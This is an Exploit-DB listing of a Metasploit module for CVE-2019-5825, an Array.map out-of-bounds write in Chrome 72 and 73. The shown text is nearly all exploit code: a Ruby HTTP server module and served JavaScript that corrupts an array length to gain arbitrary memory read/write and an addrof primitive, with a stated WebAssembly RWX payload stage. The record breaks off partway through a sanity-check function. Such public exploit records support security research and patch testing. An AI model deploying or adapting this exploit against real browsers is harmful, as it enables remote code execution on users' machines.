Exploit-DB #48183
Description: Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)
Type: remote
Platform: multiple
Date: 2020-03-09
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Google Chrome 72 and 73 Array.map exploit',
      'Description'    => %q{
        This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
      The exploit corrupts the length of a float in order to modify the backing store
      of a typed array. The typed array can then be used to read and write arbitrary
      memory. The exploit then uses WebAssembly in order to allocate a region of RWX
      memory, which is then replaced with the payload.
        The payload is executed within the sandboxed renderer process, so the browser
      must be run with the --no-sandbox option for the payload to work correctly.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'dmxcsnsbh', # discovery
          'István Kurucsai', # exploit
          'timwr', # metasploit module
        ],
      'References'     => [
          ['CVE', '2019-5825'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
          ['URL', 'https://github.com/exodusintel/Chromium-941743'],
          ['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
          ['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'Platform'       => ['windows','osx'],
      'DefaultTarget'  => 0,
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DisclosureDate' => 'Mar 7 2019'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def on_request_uri(cli, request)

    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    escaped_payload = Rex::Text.to_unescape(payload.encoded)
    jscript = %Q^
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}

// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);

// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof

// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;

// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;

function mapping(a) {
  function cb(elem, idx) {
    if (idx == 0) {
      float_array = [0.1, 0.2];

      tarray = new BigUint64Array(2);
      tarray[0] = 0x41414141n;
      tarray[1] = 0x42424242n;
      obj = {'a': 0x31323334, 'b': 1};
      obj['b'] = obj;
    }

    if (idx > float_array_len_offset) {
      // minimize the corruption for stability
      throw "stop";
    }
    return idx;
  }
  return a.map(cb);
}

function get_rw() {
  for (let i = 0; i < 10 ** 5; i++) {
    mapping(a);
  }

  // Now lengthen the array, but ensure that it points to a non-dictionary
  // backing store.
  a.length = (32 * 1024 * 1024)-1;
  a.fill(1, float_array_len_offset, float_array_len_offset+1);
  a.fill(1, float_array_len_offset+2);

  a.push(2);
  a.length += 500;

  // Now, the non-inlined array constructor should produce an array with
  // dictionary elements: causing a crash.
  cnt = 1;
  try {
    mapping(a);
  } catch(e) {
    // relative RW from the float array from this point on
    let sane = sanity_check()
    print('sanity_check == ', sane);
    print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
    print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
    print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));

    let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
    print('original elements addr: ' + original_elements_ptr.toString(16));
    print('original elements value: ' + read8(original_elements_ptr).toString(16));
    print('addrof(Object): ' + addrof(Object).toString(16));
  }
}

function sanity_check() {
  success = true;
  success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
  success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
  success